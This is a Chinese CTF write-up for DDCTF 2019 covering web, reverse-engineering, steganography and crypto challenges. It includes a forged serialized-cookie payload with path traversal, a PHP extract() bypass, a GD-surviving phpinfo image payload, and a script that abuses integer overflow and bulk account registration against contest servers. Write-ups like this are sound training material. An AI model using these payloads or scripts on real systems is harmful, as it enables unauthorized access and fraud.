DDCTF 2019 Writeup

作者: lolpzili
本文链接,长期有效: http://www.lolpzili.com/index.php/archives/28/

未经允许,不得转载

滴~

打开网页http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
发现地址栏的TmpZMlF6WXhOamN5UlRaQk56QTJOdz09十分可疑,用base64解码两次,在得到一段hex,再转成字符串发现其为flag.jpg为其显示的文件.

1.png

将index.php使用逆方法得到index.php的内容

2.png

3.png

解码得到:

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

打开 https://blog.csdn.net/FengBanLiuYun/article/details/80616607 发现没有任何提示,找了半天,发现提示在 https://blog.csdn.net/fengbanliuyun/article/details/80913909 ,尝试进入 http://117.51.150.246/practice.txt.swp ,得到提示flag!ddctf.php

4.png

根据代码的$file = str_replace("config","!", $file);
构造”f1agconfigddctf.php”得到文件内容:

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
        {
                echo $flag;
        }
        else
        {
                echo'hello';
        }
}

?>

访问http://117.51.150.246/f1ag!ddctf.php?uid=&k=得到flag

5.png


WEB签到题

F12查看源码,发现验证在js/index.js里

6.png

构造请求

7.png

得到Application.php和Session.php的源码
其中,这一段会得到flag

8.png

在Application销毁的时候会读取path的文件内容
在Session.php中发现了反序列化漏洞

9.png

但发现session有签名验证

10.png

所以需要先拿到eancrykey,继续阅读得到发现这里会照成eancry泄露

11.png

使nickname为%s

12.png

得到eancry为EzblrbNS,构造payload

a:5:{s:10:"session_id";s:32:"a2bc99d99a7e5d14629ca931171e5242";s:10:"ip_address";s:14:"123.147.248.60";s:10:"user_agent";s:20:"PostmanRuntime/7.6.1";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}}

将其放入cookie:

a%3a5%3a%7bs%3a10%3a%22session_id%22%3bs%3a32%3a%22a2bc99d99a7e5d14629ca931171e5242%22%3bs%3a10%3a%22ip_address%22%3bs%3a14%3a%22123.147.248.60%22%3bs%3a10%3a%22user_agent%22%3bs%3a20%3a%22PostmanRuntime%2f7.6.1%22%3bs%3a9%3a%22user_data%22%3bs%3a0%3a%22%22%3bs%3a7%3a%22payload%22%3bO%3a11%3a%22Application%22%3a1%3a%7bs%3a4%3a%22path%22%3bs%3a21%3a%22....%2f%2fconfig%2fflag.txt%22%3b%7d%7dbfb9fb7e06e86c914f19b6b2b4cb2e55

得到flag

13.png

Upload-IMG

先随便上传一张图片,发现其需要在图片中有phpinfo()

14.png

直接在图片末尾添加发现无效,将显示的图片下载下来发现其被GD库压缩过,所以使用绕过GD库的工具进行添加.
将一张100x100的空白图片使用jpg_payload工具进行处理,将其$miniPayload改为'<?php phpinfo();?>';.
发现还是失败,多尝试了几次,发现成功获得了flag

15.png
16.png


homebrew event loop

打开网页,下载得到服务器源码.分析,发现其中有一个eval,但输入仅能在”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#”这些字符当中选取,所以不可能通过他来调用函数,并且event_handler(args)会强行传入一个数组,所以调用python自带函数的方法基本上不可用了.继续阅读,发现其buy_handler为先加item再进行判断,而且是将判断的操作添加到事件队列的尾端,所以可以利用这一漏洞,在它进行判断之前调用get_flag_handler就可以在log中看到flag(因为flask是将session储存在的客户端,这个session是可以直接查看的)
构造输入action:trigger_event%23;action:buy;100%23action:get_flag;拿到session:

.eJyNjl1rwjAUhv_KyLUX_UC6FnpR0ZQJscx1Jj1jjMaoa2xiWa11Ef_7sl1MxF3s7vC-D895T6jebVD0ckJ3HEWooDOnpGGX6flnSYUGNl0Dg5rrR5l5WIq0PnDZVIJtA5In_cMls-x8Der4DqaN0Xlwo1RTd5W3RzJOvuubVtQCh4qnWGd9bInXXwPoRVeYRnJvaAR1a-aPDiUdOpmZ9CSJ_7JpaIAtA0ttgW1-bNcyU6ahzzxoC7oMiF84ZHFvhJx1dkRLxqOeeTgDOyif4PzJDWXuhB88ff7nM6Q79VbtV6pFkT9Aza7Se3s65y_0JHYI.D5yvGA.x00pE4Oh0Mp1whb48EQN3z0q3qU

使用工具解密得到flag:
17.png


大吉大利,今晚吃鸡~

对购买操作进行抓包修改,发现其金额可以改变,尝试将其改为100,显示票的价格是两千,而向上改没有报错,说明这道题应该是溢出,改价格为4294967296

18.png

支付成功

19.png

尝试注册新号码进行移除,发现可行,于是写了脚本进行操作

import requests
import hashlib   
import random
import time

def get_usename(src):
    m2 = hashlib.md5()
    m2.update(src.encode())   
    return m2.hexdigest()
lastname = 'sjadhfs12' + str(random.randint(1, 999999)) + str(random.randint(1, 999999)) + str(random.randint(1, 999999)) + str(random.randint(1, 999999)) + str(random.randint(1, 999999))
reg_url = 'http://117.51.147.155:5050/ctf/api/register?name={username}&password=12345678'
buy_url = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
pay_url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill_id}'
info_url = 'http://117.51.147.155:5050/ctf/api/search_ticket'
remove_url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id={id}&ticket={ticket}'


def reg(i=0):
    if i == 100:
        return
    global lastname
    time.sleep(1.5)
    lastname = get_usename(lastname)
    print(lastname)
    r = requests.get(reg_url.format(username=lastname))
    cookies = r.cookies.get_dict()
    print('reg')
    buy(cookies, i)

def buy(cookies, i):
    r = requests.get(buy_url, cookies=cookies)
    j = r.json()
    bill_id = j['data'][0]['bill_id']
    print('buy')
    pay(cookies, bill_id, i)

def pay(cookies, bill_id, i):
    r = requests.get(pay_url.format(bill_id=bill_id), cookies=cookies)
    print('pay')
    get_info(cookies, i)

def get_info(cookies, i):
    r = requests.get(info_url, cookies=cookies)
    j = r.json()
    id_ = j['data'][0]['id']
    ticket = j['data'][0]['ticket']
    remove(id_, ticket, i)

def remove(id_, ticket, i):
    r = requests.get(remove_url.format(id=id_, ticket=ticket), cookies={'user_name': 'lolpzili', 'REVEL_SESSION':'dd83f10829edab78bbce25be8e368439'})
    print(r.json(), i)

while True:
    try:
        reg()
    except Exception:
        pass

20.png

最终得到flag

21.png


Windows Reverse1

查壳发现其加了UPX壳

22.png

使用upx -d进行脱壳,用ida pro打开,发现其功能为将输入进行某种操作使其等于DDCTF{reverseME}

23.png

进入函数发现其为查表

24.png

写出程序

temp = "}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!"
t = input()
for text in t:
    print(temp[ord(text) - 33], end='')
print()

25.png

26.png

DDCTF{ZZ[JX#,9(9,+9QY!}即为flag


Windows Reverse2

查壳发现其为aspack壳,没有找到可用脱壳工具,手动脱壳

27.png

来到oep

28.png

使用scylla将其dump出来

29.png

用ida pro分析

30.png

其输入应为偶数位的十六进制,经过check的变换得到DDCTF{reverse+}

31.png

结合OD动态调试分析后发现,输入的十六进制进行base64编码得到reverse+即可

32.png

33.png

Flag即为DDCTF{ADEBDEAEC7BE}


Confused

因为没有mac,所以只有静态分析

34.png

Flag除去两边包裹长度为18位,关键在check里面

35.png

第一个函数为一系列赋值

36.png

第二个为判断结果

37.png

a1+24存的值为指向loc_100001980+4的内容的指针
继续分析while及里面的函数,while为一直循环直到a1+24指向的位置的值为F3
函数为从a1+0x20开始,每次往后找0x10个地址上的值,如果与a1+0x18(即24)所指的地方的值相同则取出在当前位置的后8位存的函数地址,并调用.

38.png

人肉模拟ram,上面的是a1的值,下面是a1+24的指针指向的地址的值,其中a1的0x00为临时存放的正确结果,0x10为判断结果的存放位置(即当前的值是否正确)

39.png

跟着下方的内容走,分析出沿途所有需要使用的函数的意义,F0为将其后面第二位的值放入a1+0(因为在输入正确的前提下F0后面始终是10,其他情况就忽略了)F2为判断当前位是否正确,判断结果放入a1+0x10.F6为判断a1+0x10是否为真,为假则按照它后面的一个值跳出整个过程,F7为成功,F8为按照a->c,b->d,…,y->a,z->b的规律将a1+0的值进行变换(大写相同,其他不变)F3是空的函数,其余函数在验证成功的前提下,没有执行,故没有分析.
将所有值拿出来,写出脚本

flag = [0x66,0x63,0x6a,0x6a,0x6d,0x57,0x6d,0x73,0x45,0x6d,0x72,0x52,0x66,0x63,0x44,0x6a,0x79,0x65]
print('DDCTF{', end='')
for i in flag:
    if(ord('A') <= i <= ord('Z')):
        print(chr((i + 2 - ord('A')) % 26 + ord('A')), end='')
    else:
        print(chr((i + 2 - ord('a')) % 26 + ord('a')), end='')

print('}')

40.png

得到flag


真-签到题

41.png


北京地铁

使用stegsolve查看,发现rgb最低位藏有数据

42.png

后面官方放出提示1,提示2没有进展,直到提示三 ,发现和题目的Color Threshold联系起来了.(一直在纠结,为什么图片叫北京地铁2,没有1怀疑藏了图片)
用ps调低阈值发现,图片中仅存的一个圈

43.png

将地图上的地名输入,得到flag

44.png


MulTzor

因为T的大写让我误以为Tzor是一个单词,找了半天没有任何发现,后来才发现是MultXor的变体,使用xortool来解密,得到flag

45.png


Wireshark

查看http对象,发现它有一个网页,三张图片,其他数据对题目没有帮助.

46.png

将他们的导出,网页是一个隐写的工具,一张钥匙图片和两张相同的图片,支持占用空间不同,怀疑大的那张是隐写了数据的.(t.png已经修改高度,原图只有钥匙)

47.png

更改钥匙图片的高度,发现密码

48.png

打开网页文件所对应的网页,解密

49.png

中间很明显为hex,解码得到flag

50.png


联盟决策大会

题目中提示为Shamir秘密分享方案,搜索找到它的生成以及还原脚本,并进行修改,得到解密脚本(太长放在最后)
因为题目中为组织1成员1,2,4; 组织2成员3,4,5,猜测算法中取的x与成员的编号有关,而解出最后flag的x为1,2
运行得到flag

51.png

脚本:

'''
The following Python implementation of Shamir's Secret Sharing is
released into the Public Domain under the terms of CC0 and OWFa:
https://creativecommons.org/publicdomain/zero/1.0/
http://www.openwebfoundation.org/legal/the-owf-1-0-agreements/owfa-1-0

See the bottom few lines for usage. Tested on Python 2 and 3.
'''

from __future__ import division
from __future__ import print_function

import random
import functools

# 12th Mersenne Prime
# (for this application we want a known prime number as close as
# possible to our security level; e.g.  desired security level of 128
# bits -- too large and all the ciphertext is large; too small and
# security is compromised)
_PRIME = 2**127 - 1
# 13th Mersenne Prime is 2**521 - 1

_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
    '''evaluates polynomial (coefficient tuple) at x, used to generate a
    shamir pool in make_random_shares below.
    '''
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum

def make_random_shares(minimum, shares, prime=_PRIME):
    '''
    Generates a random shamir pool, returns the secret and the share
    points.
    '''
    if minimum > shares:
        raise ValueError("pool secret would be irrecoverable")
    poly = [_RINT(prime) for i in range(minimum)]
    points = [(i, _eval_at(poly, i, prime))
              for i in range(1, shares + 1)]
    return poly[0], points

def _extended_gcd(a, b):
    '''
    division in integers modulus p means finding the inverse of the
    denominator modulo p and then multiplying the numerator by this
    inverse (Note: inverse of A is B such that A*B % p == 1) this can
    be computed via extended Euclidean algorithm
    http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
    '''
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    '''compute num / den modulo prime p

    To explain what this means, the return value will be such that
    the following is true: den * _divmod(num, den, p) % p == num
    '''
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    '''
    Find the y-value for the given x, given n (x, y) points;
    k points will define a polynomial of up to kth order
    '''
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
    '''
    Recover the secret from share points
    (x,y points on the polynomial)
    '''
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, prime)

def main():
    p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
    s1 = recover_secret(
            [
                (1, 0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A),
                (2, 0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7),
                (4, 0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)
            ],
            prime=p
        )
    s2 = recover_secret(
            [
                (3, 0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA),
                (4, 0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9),
                (5, 0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)
            ],
            prime=p
        )
    s = recover_secret(
            [
                (1, s1),
                (2, s2),
            ],
            prime=p
        )
    print("组织1:", s1)
    print("组织2:", s2)
    print("密码:", s)
    s = bytes.fromhex(hex(s)[2:])
    print('flag:', s.decode('ascii'))

if __name__ == '__main__':
    main()

写在最后

这算是第一场我拼尽全力去打的比赛吧,连续熬了几个通宵,最后比赛完是筋疲力竭.但也收获了很多做题的经验,虽然拼尽全力在比赛结束时能也没进前三十,但我也真的尽力了,希望经过长期的训练之后我也可以像前面的大佬一样.

更新

没想到被ban了这么多人

FireShot Capture 008 - DDCTF2019 - ddctf.didichuxing.com.png

添加新评论